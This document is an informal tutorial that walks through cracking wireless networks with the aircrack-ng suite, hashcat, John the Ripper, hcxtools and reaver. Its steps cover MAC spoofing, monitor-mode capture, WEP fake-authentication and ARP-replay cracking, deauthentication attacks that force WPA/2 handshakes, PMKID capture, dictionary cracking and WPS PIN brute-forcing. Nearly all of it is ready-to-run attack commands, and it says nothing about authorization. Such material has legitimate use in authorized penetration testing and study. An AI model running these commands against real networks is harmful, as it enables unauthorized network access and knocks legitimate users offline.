Preface

Tools/Packages

Aircrack-ng
Hashcat
Hashcat-utils
Reaver
Macchanger
hcxtools

Dictionaries

You will likely need a dictionary or two for some attacks. The best ones I've seen have been rockyou and darkc0de. You may consider just grabbing all of SecLists's github as it contains a lot of goodies

Optional Stuff

You may wish to use macchanger to change your mac address to something easier like 00:11:22:33:44:55

   macchanger --mac 00:11:22:33:44:55 wlan1

Do this before running Airmon to start in monitor mode

Setup

First, start your device in monitor mode

   airmon-ng start wlan1

This should create a new interface called wlan1mon which we will use for capturing

   airodump-ng wlan1mon

You will see an output of all wireless APs and clients within range of your interface. By default it sorts the strongest signal to the top and weakest on the bottom. You can change the sorting by pressing 's'. Additionally, you may wish to revise your output by adding a few flags:

Change to a specific channel with -c #
Only view specific encryption APs (like wpa2) with --encrypt wpa2
Only view APs that are active by setting the minimum number of packets before it shows in the list with -n #
Only view a specific AP by BSSID with --bssid xx:xx:xx:xx:xx:xx
Used later, but write the captured packets to a file with -w file

Once you have found a target, typically one with some data packets flying around, you can cancel the first airodump process and start a new one targeting that AP

   airodump-ng -c # --bssid XXXBSSIDXXX -w XXXNAMEXXX wlan1mon

And now we wait for the Handshake Captured notice at the top!

WEP

This is the easiest of them all and you likely won't need a dictionary. Heck you do not even need a client attached to the AP.

Start by performing a fake authentication with the target AP

   aireplay-ng -1 0 -e XXTARGETSSIDXX -a XXTARGETBSSIDXX -h XXOURINTERFACEMACXX wlan1mon

Alternatively you may use

   aireplay-ng -1 6000 -o 1 -q 10 -e XXTARGETSSIDXX -a XXTARGETBSSIDXX -h XXOURINTERFACEMACXX wlan1mon

These should return an Auth Successful output before you can proceed.
Begin the ARP replay attack

   aireplay-ng -3 -b XXTARGETBSSIDXX -h XXOURINTERFACEMACXX wlan1mon

Airodump should now start receiving tons of packets here, make sure you gather a significant amount of IVs
- PTW Method: 20,000 for 64-bit and 40,000-85,000 for 128-bit keys
- FMS/KoreK: 250,000 for 64-bit and 1,500,000 for 128-bit
Stop the Airodump and Aireplay processes and begin cracking!

   aircrack-ng output.cap

Alternatively you can try the FMS/KoreK method over the default PTW method

   aircrack-ng -K output.cap

WPA/2

Sometimes waiting is just not what we want to do. If the AP has clients, you can run a DeAuth attack on them with aireplay:

   aireplay-ng -0 1 -a XXXSTATIONBSSIDXXX -c XXCLIENTBSSIDXX wlan1mon

If successful, you'll see some ACKs in the output, unsuccessful will be 0|64 while successfull will be something like 7|64

Not nearly as effective, but you can DeAuth the broadcast and go for all clients on an AP:

   aireplay-ng --deauth 100 -a XXSTATIONBSSIDXX wlan1mon

Handshake Captured

After the handshake is captured, you can try cracking it a few different ways:

By using only your CPU and a dictionary, can be slow

   aircrack-ng -w wordlist.dic -b XXXSTATIONBSSIDXXX target.cap

By using your GPU with haschat and a dictionary, much faster

   cap2hccapx input.cap output.hccapx
   hashcat -m 2500 capfile.hccapx dictionary.txt

By using John the Ripper and a dictionary, can be slow

   aircrack-ng input.cap -J output
   john -w=dictionary.txt output.hccap
   john -w=dictionary.txt -form=wpapsk-opencl output.hccap

By using John the Ripper and NO Dictionary, VERY SLOW

   More info later, or see John the Ripper

PMKID

PMKID is an optional flag some AP manufacturers will use, this is another attack vector we can try that does not require the deauth attack. Here we will use hcxtools to grab the pmkid's floating around.

I found it easiest to narrow down by channel and use

   hcxdumptool -i wlan1mon -o channel1.pcapng --enable_status=1 -c 1

After this I converted to a format aircrack would read with

   tcpdump -r channel1.pcapng -w channel1.pcap

Running aircrack-ng with that file will give an output of handshakes found, identify the ones with PMKID and make note of their BSSID/ESSID
You can continue trying to crack with aircrack and a dictionary, but it is slow

   aircrack-ng -w wordlist channel1.pcap

Or you can convert the file to something hashcat can use

   hcxpcaptool -E essidlist -I identitylist -U usernamelist -z galleriaHC.16800 galleria.pcapng
   hashcat -m 16800 galleriaHC.16800 -a 0 --kernel-accel=1 -w 4 --force 'topwifipass.txt'

WPS

WPS is a liability for wireless networks. It makes it easier for users to setup for sure, but it's pretty much a guaranteed access point for some. Using Reaver we can brute force a WPS enabled AP. First we have to find some though!

It is recommended to use the app that comes with the reaver package using

   wash -i wlan1mon

It is possible to use airodump-ng

   airodump-ng --wps --encrypt wpa wlan1mon

With wash, you should take note of the WPS version and Lock status. Unlocked APs will have a better success rate
Now we can run reaver on the target

   reaver -i wlan1mon -b XXXBSSIDHEREXXX -c XXCHANNELXX -vv

If you are getting a ton of this:

   [!] WARNING: Receive timeout occurred
   [+] Sending WSC NACK
   [!] WPS transaction failed (code: 0x02), re-trying last pin

Try adding a few options like:
- delay, No NACK, Smaller DH

   -d 5 -N -S

If you run into AP Rate Limiting, try using the rest option, this will rest after 3 attempts for 15 seconds

   -r 3:15

Additionally there's the pixiewps attack flag

-K

References